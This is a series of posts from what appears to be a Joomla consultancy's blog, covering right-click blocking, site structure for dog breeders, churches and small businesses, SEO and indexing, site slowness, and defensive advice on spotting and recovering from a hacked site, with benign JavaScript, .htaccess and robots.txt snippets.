So, again, if you’re looking forward to Joomla 1.8, don’t hold your breath, as there won’t be any. There will be only Joomla 2.5, and that’s in less than a couple of months.

Now if you need help upgrading your website, then you can just contact us, and we’ll certainly help you, and our fees are very reasonable!

How to Prevent Right Click in Joomla?

Many of our customers ask us to disable right click on their Joomla website. As such, we have decided to write a post explaining how this is done.

Before starting, you need to be aware of the following:

  • Preventing right clicks will only deter non-technical visitors from stealing your content (such as text and images). Right click prevention can be easily overcome by simply disabling JavaScript in the browser settings.
  • Preventing right clicks will not affect your search engine rankings, and search engines will still index your website normally (search engines tend to ignore JavaScript code on your website, unless, of course, it’s malicious).

  • Even if the person has not disabled JavaScript, he will still be able to copy content from your website by simply selecting the text and then clicking on CTRL+C.

Now that you know that preventing right clicks is not an efficient way to protect your content, let us explain to you how you can do it.

The first thing you need to do is to copy the following code:


<SCRIPT TYPE="text/javascript">

<!--
var msg = "Right click disabled"; //change this message to a message of your own if you want
var showMsg = 1; //change this to 0 if you do not want to show any popup messages when the user right clicks

function internetExplorerRightClick(){ //code to handle right clicks in Internet Explorer
if (document.all){
if (showMsg == 1){
alert(msg);
}
return false;
}
}

function firefoxRightClick(e){ //code to handle right clicks in Firefox and Chrome (as well as other obsolete browsers such as Netscape)
if ((document.layers) || (document.getElementById && !document.all)) {
if (e.which==2 || e.which==3){
if (showMsg == 1){
alert(msg);
}
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=firefoxRightClick;
}
else{
document.onmouseup=firefoxRightClick;
document.oncontextmenu=internetExplorerRightClick;
}

document.oncontextmenu=new Function("return false");

// -->
</SCRIPT>

The next thing you need to is to open your Joomla template for editing and place (paste) the above code within the <head> HTML tag. Here’s how you do this:

  • Login to your Joomla website as Super Administrator
  • Click on Extensions, and then click on Template Manager
  • Click on the name of the default template (the template that has a yellow star next to it)
  • Click on Edit HTML on the top right
  • Paste the code above just after the <head> HTML tag
  • Click on Save on the top right
  • That’s it!

Now if you don’t want to display any messages when the user right clicks on your website, then all you need to do is change the value of showMsg to 1.

If you need any help doing the above, then all you need to do is to Contact us. We are very friendly, and we’re always there to help!

Joomla for Dog Breeders

We have talked before on how Joomla is ideal for small businesses. One small business that we think is greatly benefiting from Joomla is the dog breeding business. It’s amazing how many dog breeders out there use Joomla to power their websites…

Now why do dog breeders use Joomla? And how does a dog breeding website that is powered by Joomla look like? And what are the typical functionalities needed in dog breeding websites? Let us answer these questions…

Why do dog breeders prefer Joomla over other CMS’s to power their websites?

As stated earlier, most dog breeders out there use Joomla to power their website, but why did they choose Joomla (instead of WordPress, for example)? Here’s why:

  • Joomla is reasonably easy: Dog breeders are able to create and update content in Joomla easily. Since dog breeders have a lot of content to add and modify every week, it is essential for the process of adding/removing content on their website to be reasonably easy.
  • Joomla has many templates that can be used by dog breeders: Dog breeders are able to choose from an array of templates that are specifically targeted at their business.

  • Joomla has many extensions that can be used by dog breeders: For example, and by using specific extensions, dog breeders are able to list all their dogs online and they are also able to do sales online.

How does a dog breeding website look like?

We have noticed that the following pages are common in dog breeding websites:

  • Homepage: The landing page of the dog breeding website.
  • Albums:: A page containing cute pictures of dogs owned by the dog breeder. The purpose of this page is to grab the attention of the visitors.

  • Puppies for sale: A page listing all the puppies that are for sale. Some websites integrate a shopping cart on this page and thus are able to sell their dogs/their services online.

  • Our services: A list of all the services offered by the dog breeder. For example, vaccination, cleaning, hair cutting, etc…

  • Beware of scammers: This is basically a page telling visitors how to spot dog breeders who are scammers.

  • Testimonials: A page listing testimonials from different clients. Each testimonial consists of the name of the client, how she’s satisfied with her current dog, and why she recommends this dog breeder for other clients.

  • FAQ: The “Frequently Asked Questions” page. A page containing all the questions that are usually asked by the clients when buying from a dog breeder. All questions are answered on this page.

  • About us: A page containing detailed information about the dog breeder (when was the business created, by whom, how many dogs sold until now, which area does the dog breeder serve, etc…)

  • Contact us: A page that can be used to contact the dog breeder, usually includes the phone number and the address of the dog breeder, as well as a form that visitors have to fill in if they want to contact the dog breeder through the website.

  • Sitemap: A regular sitemap that visitors can use to locate buried pages on the website.

What are the typical functionalities in a dog breeding website?

There are two essential functionalities needed on any dog breeding website:

  • Photo album: Dog breeders use photo albums to show their dogs to the visitors. (Note: This is used in the “Albums” page above).
  • Catalog: Dog breeders use a catalog to display all the dogs that they have for sale. The catalog consists of a listing of all the dogs for sale, and each entry in this listing consists of an image of the dog, the dog’s name, the dog’s breed type, the age of the dog, and, of course, his price.

Additionally, there are many dog breeders who sell dogs online, and thus require a shopping cart and integration with a payment gateway (such as PayPal) in order to do this. The VirtueMart extension is able to handle this requirement (and more!).

If you are a dog breeder and you wish to create a Joomla website for your dog breeding business, or if you are a dog breeder and you already own a Joomla website for your business and you wish to upgrade it/enhance it/extend it, then we’re here to help. Just contact us and we’ll take it from there!

Joomla for Churches

It is a fact that Joomla, as a CMS, is used extensively for non-profits. And, from our experience, one of the main non-profits taking advantage of Joomla to establish a web presence is churches. In this post, we will discuss the following:

  • Why many churches use Joomla to power their websites
  • What is the typical structure of a church website that is powered by Joomla
  • What are the usual features that churches demand for their websites
  • How we can help a church create (or maintain) its Joomla website

Why do many churches use Joomla to power their websites?

The reason for this is simple, churches, like small businesses, don’t have the resources nor the time to create and manage their own CMS (that usually costs much more and needs much more maintenance). So, they go with Joomla, which is a free to install and to use CMS that is backed by a very large community that will cater for their every needs. Joomla also has many church templates that churches can use for a professional look & feel.

What is the typical structure for a church website powered by Joomla?

We made many church websites over the years and here’s what we think are the typical pages on any church website:

  • Homepage: A page that gives a glimpse about the church.
  • Who we are: More or less like an “About Us” page. The “About Us” page contains detailed information about the mission of the church.

  • History: This page contains information about the history of the website: When it was created, why it was created, and, of course, who created it.

  • Contact us: A page that contains all the contact information of the church including the phone/fax number, the full address, the email, and the Facebook page. This page may also contain a form that visitors can fill in to contact the church.

  • Latest news: A page listing the latest news/activities of the church. This page may also be calendar-based.

Other pages may include “The advantage of joining the church”, “Miscellaneous information about Christianity”, “Sunday school”, “How to pray”, “Why pray”, etc…

What are the usual features that churches demand for their websites?

The usual features that churches demand for their websites are:

  • A contact us form that is used by visitors to contact the church
  • A calendar extension (such as JEvent) to list all the church’s events
  • Social networking integration (Facebook/Twitter) that will help the church reach its followers/potential followers through social media

How do we help your church create a Joomla website?

We know that for many churches, the process for creating a website is a bit intimidating, even when using Joomla. Here’s what we usually do to help you create your Joomla website:

  • We collect the requirements from you: We will ask you what you want on your website and what you do not want on your website. Rest assured that we will help you during the requirements gathering process because we know what churches want from their websites and what they do not want (this is because we have helped many churches create/upgrade their websites).
  • We suggest templates: There are many Joomla templates that are either free or paid that can be used by churches. We will suggest some templates that you can choose from to use on your website.

  • We teach you how to use your Joomla website: Joomla is not that hard, but the person managing a Joomla website may need some training. We will train the person(s) who will manage your Joomla website.

How do we help your church maintain its Joomla website?

Websites are like cars – they need maintenance, otherwise they’ll rot!

We have a Joomla maintenance package that is very reasonably priced. Our maintenance package will ensure that your Joomla website and your standard extensions are secure and functioning properly. We will also backup your website regularly and will give you 3 hours (and an additional 1 emergency hour) of Joomla professional work.

Are you in the process of creating a new Joomla website for your church? If you are, then contact us, and rest assured that you can rely on us to help you achieve this goal!

What Will Happen When Your Joomla Website Is Hacked

In previous posts, we have discussed how you know if your Joomla website is hacked and what to do when you discover that it’s hacked. Right now, we want to discuss what will happen to your Joomla website when it’s hacked.

According to our experience on the subject, here’s what will happen when your Joomla website gets hacked:

In the first week

This is what will happen within the first week of the hacking of your website:

  • Google will stop indexing your website: Google, the search engine that you work hard all the time to ensure that your website and your new pages are listed in, will stop indexing new pages on your website. Your old pages will remain indexed (this is because Google hasn’t re-indexed old pages yet to see if they were also hacked), but Google will refuse to index your new pages.
  • Yahoo and Bing will stop indexing your website: Similarly to Google, Yahoo and Bing will refuse to index new pages, but will leave already indexed pages in their index.

  • Users visiting your website will stop visiting it because they will either notice that it is hacked, or worse, their PCs will get infected by a virus just for visiting your website.

What to do at this point?

  • Fix the problem and search engines will resume (almost immediately) indexing of your new pages (and will also index “skipped” pages that were not indexed when your website was hacked).

In the second week

Below is what will happen 1 week after your website gets hacked:

  • Search engines will display something like “This website may harm your computer” next to the search results related to your Joomla website and will still not index your pages.
  • Your website will be reported as a “threat” or as an “infected website” to security websites.

What to do at this point?

  • Fix the problem and search engines will gradually remove the warning next to your website’s results in the SERPs. Search engines will resume indexing of your website in a week or two.

In the third week

Below is what will happen 2 weeks after your website gets hacked:

  • Google will penalize your website with the 50 penalty (which means that if a page of yours used to rank as #3 for a keyword when your website was clean, will rank as #53 for the same keyword now that it is infected).
  • Security websites will check your Joomla website and will list it as “infected” and will add it to a blacklist.

  • Your hosting provider will be informed that your website is hacked and will be asked to disable it until you fix the problem.

What to do at this point?

  • Fix the problem immediately and then wait for Google to re-index you (the process will now take a month or two). Do not apply for a re-consideration request with Google at this point.
  • Contact all the security websites that have blacklisted your website and inform them that your website is now clean.

Over three weeks

Below is what will happen when your website is hacked for more than 3 weeks with no action from your side:

  • Google will delist you completely from it SERPs (Search Engine Results Pages). Your Joomla website will no longer appear in the SERPs, even at the hundredth page. If you type site:http://www.yourdomainname.com in the Google search field and type enter you will get nothing. This is a complete Google ban and it’s really hard to restore your website to Google at this point.
  • Your hosting provider may disable your website and then inform you of the problem immediately. Note that hosting providers are legally responsible for their networks (that your website is part of), and that’s why they are extremely proactive in these matters.

  • Desktop anti-virus software will prevent individuals from visiting your website.

What to do at this point?

  • Fix your website immediately and then submit a reconsideration request with Google and hope for the best. Note that the reconsideration request may take as little as a couple of months and as many as several years (especially if you haven’t fully fixed the problem).
  • Email each and every website/anti-virus software that has blacklisted you and tell them about the situation and then hope for the best.

As you can see from the above, the longer you leave your website hacked, the harder it becomes to restore its Internet presence to its pre-hacked state. You must be very pro-active and you must have a sense of urgency when your website gets hacked. If you need help cleaning up your Joomla website and/or in trying to restore it to its previous standings in the SERPs, then please contact us. Note that we offer Joomla Emergency Services – so you can contact us as soon as you notice that your website is hacked, even if it’s 3 AM in the morning!

Why Is Joomla So Slow?

At least every other day, a customer contacts us and asks us the following question: “Why is my Joomla website so slow?”

We reply to her/him that since Joomla is a very large and powerful CMS, it is somehow slow. However, it shouldn’t be very slow, and there are ways to make a Joomla website faster.

Now let us list and discuss all the reasons that make a Joomla website very slow:

Joomla is a complex product: Joomla is a very complex product from a software development point of view. This complexity that is necessary to make Joomla one of the most powerful and flexible CMSs out there comes at a price, slowness!

Too many loaded extensions: Think about it this way, your Joomla website is like a cart, and every extension is like a box of apples. The more extensions that you add to your Joomla website (or the more apple boxes you add to your cart) the slower your website (cart) is. The best thing to do is to disable, or better yet, completely uninstall, unused extensions.

Heavy templates: Some Joomla templates are heavier than others. If you choose a template that has a lot of non-optimized code and large images, then expect this template to slow down your whole website. You will need to optimize the code and the images in the template in order to reduce the negative impact of the template on the speed of the website.

No caching: The developers who created Joomla are aware of the slowness issues in Joomla and that’s why they have provided built-in caching functionality. If you run Joomla without caching, then it’ll be slower (but beware, when you use caching the changes that you make in your Joomla website won’t show up unless you clear your cache).

Slow hosting: Many Joomla website owners are small businesses, and cannot afford to have a dedicated server to host their website, and that’s why they opt with a shared hosting solution that is often slow because of the so-called over-selling. At itoctopus, we provide fast and secure hosting only for our customers. We do not oversell and your website will be always up and ready to serve your visitors.

Too much data: The amount of data that you have on your website is inversely proportional to the speed of the website. For example, let’s say that you have only 5 pages on your Joomla website. This means that the Joomla system has to go through only 5 rows in your database to retrieve the main content of the requested page (of course, there are many other requests, but let’s pretend that there’s only one database request for now). Now, in case you have 10,000 pages, then this means that the Joomla system has to go through 10,000 rows in the database (which will take more time). Now imagine how the search works if you have only 5 pages versus if you have 10,000 pages. Note that there are many ways to address this situation, including indexing the database and moving the database to a standalone server.

Too many visitors: Again, since Joomla is a heavy CMS, the more visitors you have, the slower your website is. We have seen Joomla websites that literally start crawling when they have a few dozen simultaneous requests. Check this article on the number of users that Joomla can handle, and what to do to increase that number.

Malicious flood of requests: This is essentially the same thing as “too many visitors”, but with a twist. The malicious flood of requests is just fake traffic to your website, e.g. traffic that is not generated by human beings, but rather by bots, either to scrape the content of your website or to intentionally slow it down. The best thing to do in this situation is to block the IP or the range of IPs issuing the malicious requests.

If you need any help in analyzing why your Joomla website is slow or how to address the slowness, then contact us. We are always eager and ready to help you!

How to Index Your Joomla Website with Google

You own a Joomla website, and you’re proud of it, but the thing is, Google still hasn’t indexed it, or Google has indexed only a few pages of your website. So, what do you do to fully index your Joomla website with Google and other search engines such as Yahoo and Bing?

Before starting this post, it is important to note that what we can only recommend the things that you can do that will help your chances in getting indexed with Google, there is no guarantee whatsoever

So, in order to get indexed, here’s what you should do (we have split this post into two sections: non-technical and technical things that you can do to get your website indexed):

Non-technical things to do to get your website and your pages indexed

Below are the non-technical things that you can do in order to get your website and your pages indexed. Note that the non-technical things have a much better effect to get your website indexed than the technical things.

  • Have a good website that you feel proud of: Although Google is not human, it can know if a website is actually good or not. Believe it or not, it is intelligent enough to segregate good from bad websites. If your website is good then it will be accepted by Google and it will show up high in the search results. If it’s bad, then it still may be accepted by Google, but it will show up very low in the search results (low enough that nobody will be able to find it).
  • Submit your website to Google: When you’re confident that you have a good website, then the next step to do is to add it to Google. Now while Google is now very good at detecting new websites, it is sometimes essential for a website to be added manually especially if there are absolutely no links to it and it just has a few pages. You can find the link to add your website to Google here. Google will check your website in the next few weeks and will consider it for indexing once the link to your Joomla’s website is added. You should also submit your website with Bing and Yahoo. (Note: We have noticed that usually Google will send you about 70% of the organic traffic, and the rest will be sent by other search engines).

  • Ensure that your website contains interesting content: As stated earlier, Google is intelligent. It will know if your content is interesting or not, and it will index your content based on how “interesting” and “original” it is.

  • Have a blog: We have noticed that the fastest way to index a Joomla website is to have a blog. You can start a blog by installing one of the many blog extensions that Joomla has. The more blogs you write every week, the faster your website is indexed and the greater the number of your indexed pages is with Google. The location of your blog should be blog.yourdomainname.com or www.yourdomainname.com/blog

  • Link to your website from other websites: First let us clarify two things when it comes to this point: We’re not suggesting that you spam other websites at all, and we’re not suggesting questionable techniques to do so. The best thing to link to your website from other websites is to go to blogs in your same line of business, read articles that you can connect with, comment on these articles while ensuring that you link to your blog in the “Website” field. Additionally, if you have an article, a blog post, or a product that you want to share with the readers of your other blog, then feel free to link to it. Many blog owners will immediately approve your comments, and not only that, they will check your website and maybe link to it in another blog post if they think it’s interesting enough. The important thing is to give a genuine, constructive comment.

  • Avoid the “link to me and I’ll link to you” technique: This technique is so passée and will most likely get your website penalized (or even totally ignored) by Google if you do this.

  • Avoid companies that will “guarantee top spot with Google”: Companies that will tell you that they will guarantee top positions with Google are scammers, this is because there is no way for any company to do this. While some of these companies succeed in increasing your SEO (Search Engine Optimization) standings and getting your website indexed fast, they will lead, in most cases, to your website getting penalized or even banned (a banned website is completely de-indexed and is added to a black list so that Google will never ever index it again) from Google.

  • Promote your website: Commenting on related blogs (see above) is one way to promote your website. But you should also promote your website using Social media (such as Twitter and Facebook), and, in case you want people to know about your website immediately, then you should advertise your website with Google (you’d be surprised how efficient Google advertising can be – if you do it the right way).

  • Create internal links: Let’s say you are currently writing an article about “Global Warming”. In your current article, you briefly discuss the “Carbon Tax” and its contribution to reducing global warming, but you remember that you’ve discussed “Carbon Tax” in details in another article. So, you link to your other “Carbon Tax” article from your current article. This will increase the importance of your “Carbon Tax” article in the SERPs (Search Engine Result Pages). The more internal links to your articles you have in your website, the more indexed pages you will have with Google.

  • Avoid Grammar mistakes and typos: Ensure that all your articles on your Joomla website are written in perfect English. Bad grammar and typos can have extremely negative effects on your website, especially if there are plenty of them and especially if your website is new.

  • Ensure that your website is safe for the user: Google will not index/will de-index/will stop indexing a website as soon as the website gets hacked. That’s why you need to make sure that your website is always clean and safe for your visitors. You can check these Joomla security tips if you want to find out more on how you can protect your website.

Technical things to do to get your website and your pages indexed

Following are the technical things that you need to do in order to get both your website and your pages indexed with Google (note that the below are not mandatory, but they can sometimes help):

  • Create a sitemap for your visitors: A sitemap is a very old concept in web development. Depending on the type of your website, your visitors may expect a sitemap and may need to use it to find what they want. There are many Joomla extensions that will automatically create a sitemap for you. You can find them here. Search engines, such as Google, used to heavily rely on user sitemaps to index websites (not anymore).
  • Avoid getting double-indexed: Double-indexing means that Google will index your website as www.yourdomainname.com and yourdomainname.com . This will dilute the search engine rankings of your website. Double-indexing can be avoided by adding the following lines to your .htaccess files:

    RewriteEngine On
    RewriteBase /
    RewriteCond %{HTTP_HOST} ^yourdomainname.com [NC]
    RewriteRule ^(.*)$ http://www.yourdomainname.com/$1 [L,R=301]

  • Create a Google sitemap and submit it to the Google Webmaster tools: A Google sitemap consists of a file containing links to all the pages on your website. The Google bot will read through your sitemap and will learn about your articles that are not linked from any other page on the Internet. You can create a Google sitemap by installing an extension that will do this (most of the sitemap extensions listed above provide a functionality to create a Google sitemap). You should then submit the sitemap to the Google Webmaster Tools. (Note: You may want to do the same for Yahoo and Bing)

  • Avoid indexing pages that shouldn’t be indexed: If you want to know what Google hates most (well besides spam) is indexing pages that shouldn’t be indexed. The file robots.txt that usually exists in the root of your website should be edited to disallow indexing pages/files on your website that should not be indexed. For example, you may want to disallow the indexing of your administrator section on your website, so you open the file robots.txt and you add the following lines:

    User-agent: *
    Disallow: /administrator/

  • Don’t use JavaScript to link to another page: You should always use <a href=”… HTML tag to link from one page to another on your website. You should never use JavaScript for linking (most spiders can’t/won’t follow JavaScript links).

  • Use canonical URLs: In other words, don’t confuse Google with a page that is listed under more than one link. You can read more about this here.

How to check how many pages are indexed with Google?

Now that you have done your best to have your website indexed with Google, you need to probably see how many pages are actually indexed with this search engine. In order to do so, just go to Google and type: site:www.yourdomainname.com in the search box. If you see something like: Your search – site:www.yourdomainname.com – did not match any documents. then this means that Google hasn’t indexed any of your pages yet. Don’t worry, keep working, and keep checking, and eventually it will, if you’re doing everything the right way, and, of course, if your website is clean!

If you need help doing any of the above, or if you need help in SEO for your Joomla website, then you can just contact us. You’ll be amazed how efficient, fast, helpful, and friendly we are.

What To Do When Your Joomla Website Is Hacked?

In the unfortunate event where you know that your Joomla website is hacked you need to follow the below steps:

  • Remain calm: Your website is hacked – period. There’s nothing that you can do to change this fact, and most of the harm is already done. Why panic? In addition, most website owners/managers experience the hacking of at least one website they own/manage at a certain point in time. So you’re not really alone in this.
  • Assess the situation: Is the website no longer functioning? Is the website attempting to download some malicious content to the visitors’ machines? Is the website showing a blank page or obscene images/text on the homepage? Assess the situation of your website in order to know what to do in the next steps.

  • Redirect all the traffic to an “under-maintenance page”: It’s better to get not traffic at all rather than to get traffic and infect your visitors’ machines (your website most likely will be reported and Google, as well as many search engines, will de-index it or will show a warning next to search results linking to your website). You can do this by creating a maintenance.html file, uploading it to your webroot by adding the following line to your .htaccess file and commenting out all the other lines (the .htaccess file is located under the root of your web folder):RewriteRule !^maintenance\.html$ /maintenance.html [L,R=302]

    The maintenance.html file consists of the following code:

    <html>
    <head>
    <title>Your Website Name - Under Maintenance</title>
    </head>
    <body>
    <h1>Your Website Name Is Under Maintenance</h1>
    </body>
    </html>

  • Identify and fix the problems: If you have some programming experience, you need to examine what are the files/data that were changed (and how they were changed) and then fix them immediately.

  • Call the experts: If you don’t have any programming experience, or if you can’t locate/solve the problem by yourself, then just call the Joomla Security Experts. These experts will help you immediately, and they will most likely be able to restore your website to its previous condition faster than you do!

  • Protect your website: Follow these security tips to protect your Joomla website, so that the unfortunate event that has already occurred will not reoccur again.

Note that you can contact us at any time (even at midnight) and we will help you restore and cleanup your website in no time. Not only that, we will do our best to ensure that your website becomes immune to future attacks of the same kind. We will also advise you on what to do (and what not to do) to ensure that your website remains secure.

How To Know That Your Joomla Website Is Hacked

We frequently get requests from our customers asking us to check if their Joomla website is hacked, because they think it is behaving oddly. And so we do check the website, and in most cases, we discover that the website is actually hacked. So, the first sign that your website is hacked is if you feel that it is hacked!

Other than just feeling that your Joomla website is hacked, here are some other signs that will tell you if your Joomla website is hacked (the presence of even just one sign means that the website is most likely hacked, and you need to take immediate action):

  • Pages get redirected to other pages: When you go to one page on your website, you get redirected to another page (usually on another page) automatically.
  • Weird content/links on your website: Your website contains content and/or links (either prominently or at the bottom of the page) that you haven’t put there. Usually that content is obscene and the links point to another website with obscene/illegal content.

  • Website tries to download something to the visitor’s PC: This is the ultimate sign that your website is hacked. When you visit your website and your website tries to download a plugin (sometimes the download fakes itself as a mandatory security download), then your website is not only hacked, but it is also harmful to your visitors.

  • You’re unable to login to your website anymore: Sometimes, you’re suddenly unable to login to your Joomla website, while this might happen because of a human error (you are using CAPS Lock for example to enter the password) or some corrupt data, it might happen because your website is hacked (in this case, it was your Joomla database that got hacked).

  • All the data is gone: You go to your website and you no longer see the pages that you have created over the weeks, months, or even years. All you data is gone. This means that a hacker deleted all the content from your jos_content table.

  • Your Joomla website is no longer indexed by search engines: Search engines are very smart: When they detect that a website is hacked, then they immediately stop indexing it to prevent their visitors from visiting harmful websites.

  • You are seeing database errors when you visit your website: While there are many reasons for this to happen, it might be that a hacker dropped all the tables in your Joomla database. Again, there are many reasons for this to happen and it’s better to consult with an expert in Joomla before taking any action.

  • You are seeing a file not found error when you visit your website: A file not found error simply means that the file does not exist anymore. This can happen because of a bad extension that you installed (that requires a file that doesn’t exist and didn’t exist in the first place), or it can happen because a critical file was actually deleted from your website folder (which means, in most cases, that someone maliciously deleted that file from your web folder).

Now if have some technical background, you can check for the following signs to see if your website is hacked.

  • Weird JavaScript in the source code: Just go to the homepage (or any page) of your website and right click and then click on “View Page Source”. Do you see some weird JavaScript code that you don’t recall seeing before? If you do, then try to read the code and see what it does if you have some programming skills or contact some Joomla Security Experts if you don’t.
  • Recently modified critical files: Check to see if one of the following files was recently modified (without you modifying it either directly or indirectly):

    • .htaccess file
    • index.php
    • Any template file

    If you see any of the above files with a recent timestamp although you did not modify the file, then your website is most likely hacked.

In our next post, we will discuss what to do when you know that your website is hacked (the first thing to do if you can’t fix it yourself is to contact us – we will help you and we are available 24/7/365). Meanwhile, if your website is OK, then check these security tips for your Joomla website to better protect your website.

10 Security Tips for Your Joomla Website

Our article, 10 reasons why your Joomla website got hacked, was well received by our readers (clients and visitors alike). In this post, we want to list the top 10 security tips to protect your Joomla website.

  1. Always keep your Joomla website up-to-date with the latest version of Joomla: Every Joomla update addresses security issues that are known to the Joomla community at the time of the update, this means that if you don’t update your Joomla website immediately, then the potential that your website will be hacked will increase. If you leave your website without updates for a long time, then it will be almost a certainty that your website will be hacked.
  2. Hide your Joomla version: Telling the world about your Joomla version in your HTML code is like inviting malicious attacks to your own doorstep. It’s like saying, “Hey, I have Joomla version 1.5 – that is known for the following vulnerabilities (add list of vulnerabilities here) – would you like to attack me?” If you want to check that you are exposing your Joomla version to the world, then just go to your website using Firefox, right click on the page, and then click on “View Page Source”. If you see something like the following line:

    <meta name=”generator” content=”Joomla! 1.5 – Open Source Content Management” />

    then you are exposing your Joomla version. Check this post on how to hide your Joomla version.

  3. Only install reliable and community-trusted extensions: Joomla has many extensions. For every feature that you can think of there is already an extensions that is written and ready to be installed. But that convenience comes at an expense. What if a new extension that you install is not secure? Because if it is, then it will compromise the security of your whole website, not just the feature(s) pertaining to that extension. So, what to do in this case? Well, before installing any extension, you need to make sure that the extension is trusted, here’s how:

    • Check how many people downloaded/reviewed the extension. If the number is small, then avoid the extension altogether.
    • Check the reviews by the people who have installed the extension. Are there reviews complaining about security issues with this particular extension? If you even find one such review, then avoid the extension altogether.
    • If you insist on using an extension that is not used by many people, then hire a Joomla consulting company to audit the extension.
  4. Keep your Joomla extensions up-to-date: You cannot just forget about an extension once you have it installed. You need to make sure that you always have the latest version of the extension and you need to update to the latest version whenever there’s a new one (for the same reasons you update your Joomla core to the new version of Joomla).

  5. Install security extensions: There are many extensions that will make your website secure (but may compromise the speed of your website and/or may limit your website’s functionality, so choose wisely). Go ahead and do your research, and install one that is highly recommended by the Joomla community.

  6. Don’t use the default table alias: Everyone who knows a thing or two about Joomla development knows that, by default, the table alias in Joomla is jos_. You should change this alias to a different one (a random 3 or 4 letter word that you can come up with). Note that some of the security extensions on the market do this for you.

  7. Change the default permissions on your Joomla .php files: Don’t leave the permissions on your Joomla .php files set to 666 (the default). Change them to 444, which means you are giving just read access to everyone (and not read and write).

  8. Change your passwords regularly: It is very important to change the following passwords regulary:

    • The password of the “admin” user.
    • The FTP password
    • The MySQL password
    • The hosting password (e.g. the cPanel password)

    Changing your password regularly is a very healthy practice for your website’s security.

  9. Do not allow users to upload scripts to your website: While Joomla, by default, totally forbids user upload of scripts to your website, you might be tempted at one point to allow (for one reason or the other) some of your users to upload inline scripts or executable script files to your website. No matter what the rewards are, avoid this completely. If you think it’s necessary for your website to have a feature to allow people to upload scripts, then ask some Joomla security experts to secure that feature.

  10. Run a vulnerability scan: You should regularly run a vulnerability scan on your website. There are many website security scanners out there (just make sure you choose one that is tested and is known to provide reliable results). For our clients, we use Acunetix (read this post we have written a while ago about Acunetix and Joomla).

A couple of other tips, for advanced users:

  1. Read your web logs: Web logs are there for a reason. Check to see if there are some weird requests by the same IP constantly. If you see an offending IP, then block it (read how to block an IP address on your Joomla website).
  2. Check your hosting environment: Check that your hosting provider is using the latest version of Apache, MySql, PHP, phpMyAdmin, and cPanel. Inform your hosting provider immediately if you see one of them that is not fully up-to-date.

If you need any assistance implementing the above, then, as usual, we are ready to help. We have secured many websites (we will be later introducing a monitoring package that will include the monitoring of the website’s security) and we are sure that you can secure yours. Just contact us and see how we can help you!

Joomla for Small Business

After our posts on Joomla for law firms and Joomla for universities, we wanted to write a post about Joomla for small businesses, since this is where Joomla really shines…

Almost every week, we receive 2 or 3 phone calls from new clients. The calls usually go the following way:

New client: “Hi”
Us: “Hi”
New client: “I heard that you are experts in Joomla”
Us: “Yes we are, how did you know about us?”
New client: “Word of mouth!”
Us: “That’s great! How can we serve you?”
New client: “I want to know if Joomla is good for my small business”

At this point we start discussing with the client the nature of his business, and, we always reach the conclusion that Joomla is good for his small business. In fact, we are now confident that Joomla is good for any small business, here’s why:

  • Joomla ensures a small business gains an online presence cheaply and rapidly

    If you have a small business, you are now expected to have a website, just like the “big guys”. Websites are no longer a want for small businesses, they are now a need. People just expect you to have a website that tells them more about your business. But since you’re a small business, you know you can’t afford paying tens of thousands of dollars for a company to develop your own website. So what do you do? Well, Joomla comes to the rescue: If you have some technical skills, then you can install Joomla and start your Joomla website in a week or so. This process will cost you nothing. If you want, there are some companies (including us) that will take care of the process from A to Z (install Joomla for you, ensure it works, ensure that you content is placed and everything is functioning as it should) in only 2 to 3 days. Note that if you go with the latter option than you have to provide this company with the content of your pages.

  • You don’t need technical skills to update a Joomla website

    We know that, as a small business, you probably can’t afford to hire someone full time to update your website, regardless of his or her salary. We also know that you feel it’s better (and safer) that you update your website yourself. After all, who can understand your business more than yourself. If you use Joomla, you will be able to do just that: you will be able to add more pages on your website, update old pages, and hide some pages. After all, Joomla is not that hard, if you only want to update content.

  • A Joomla website doesn’t need a lot of maintenance

    We know what a small business wants: a website that needs little or no maintenance at all. While every website needs to be maintained from time to time, Joomla websites are famous for their low maintenance: You only need to make sure that everything is OK (security, efficiency/speed, functionality) with your Joomla website once every 3 months or so. At itoctopus, we will soon release a “maintenance package”, available for small businesses using Joomla. Stay tuned!

  • Joomla provides an easy shopping cart for small businesses

    There are many extensions (an extension is a functionality that integrates with a Joomla website) for Joomla that will allow small businesses to sell their products through their websites. All aspects of the online store creation and management can be done: The creation of the store, the creation of the categories, the creation of the products, the pricing of the products (including taxation and shipping), the processing of the payments, etc… One of the very prominent e-commerce extensions for Joomla is VirtueMart, which allows you to do just that (and more), and, what’s even better, is that VirtueMart is very easy to use. Just create your store, add your products, and see those payments coming…

  • Joomla websites can be easily integrated with social networks

    It’s hard to live in a vacuum nowadays and ignore Facebook, Twitter, and the likes. As a small business, you need to make sure that your website easily integrates with these social platforms so that your visitors can easily like/tweet your pages/products. Joomla has many extensions that allow you to integrate social networking, so that you will be always closer to your clients.

  • Joomla doesn’t generally require programming expertise

    If, as a small business, you go with a custom website (non-Joomla) then if you need a new feature, you should be prepared to either do some coding yourself or to hire someone that will do the coding for you. Both are not very good options, especially if don’t know how to code or if you’re not budgeting to pay a programmer. Now if you’re using Joomla, then this new feature that you want to install on your website might’ve been developed by someone else before and released as an extension which you can install on your website.

  • Joomla is a true and tested CMS

    Some small businesses reach a point where they rely partially or completely on their websites to generate income. This means that they need a secure and stable website. Joomla is just that, Joomla is installed and tested by many small businesses, as well as large non-profit organizations.

  • There’s always someone who understands Joomla

    When a small business owner asks a company or a programmer to develop a custom website, he’s always afraid that, one day, the company or the programmer vanish into thin air, and then he’ll be stuck with a website that nobody understands how it’s coded (and thus nobody will be able to maintain it/expand it). If the small business uses Joomla, then there are many companies that do Joomla consulting that the small business can hire to work on its Joomla website.

Now how does a small business website look like?

From our experience, here’s what a small business website contains:

  • Homepage: The homepage includes some basic information about the business.
  • About Us/Who we are page: A page that describes, in details, what the business is.
  • Our team: A list of the people who work in this business. Usually this page consists of a picture and a small blurb (role in the business, hobbies, etc…) about each person working in the business.
  • Contact Us page: A page that contains information about the location of the business, and that includes a form that the visitor can use to contact the business.
  • Legal terms/Privacy Policy/etc

The above is the skeleton of any small business website. The website may also include other pages featuring its main products/services, a page about its partners, a page about its current clients, etc…

Additionally, the website of a small business may include an online store, as well as some interactive features (depending on the business itself).

So here goes, we have explained, in details, why Joomla is a good choice for small businesses… Now if you own a small business and you need a website, then maybe you should consider Joomla for the above reasons above. If you need any help installing/extending your Joomla website, then we are here to help you: just contact us and you’ll see for sure how genuinely interested we are in your own business. We are very fast, our fees are very reasonable, and we even have a 24/7/365 Joomla emergency hotline that you can call anytime.

Joomla for Universities

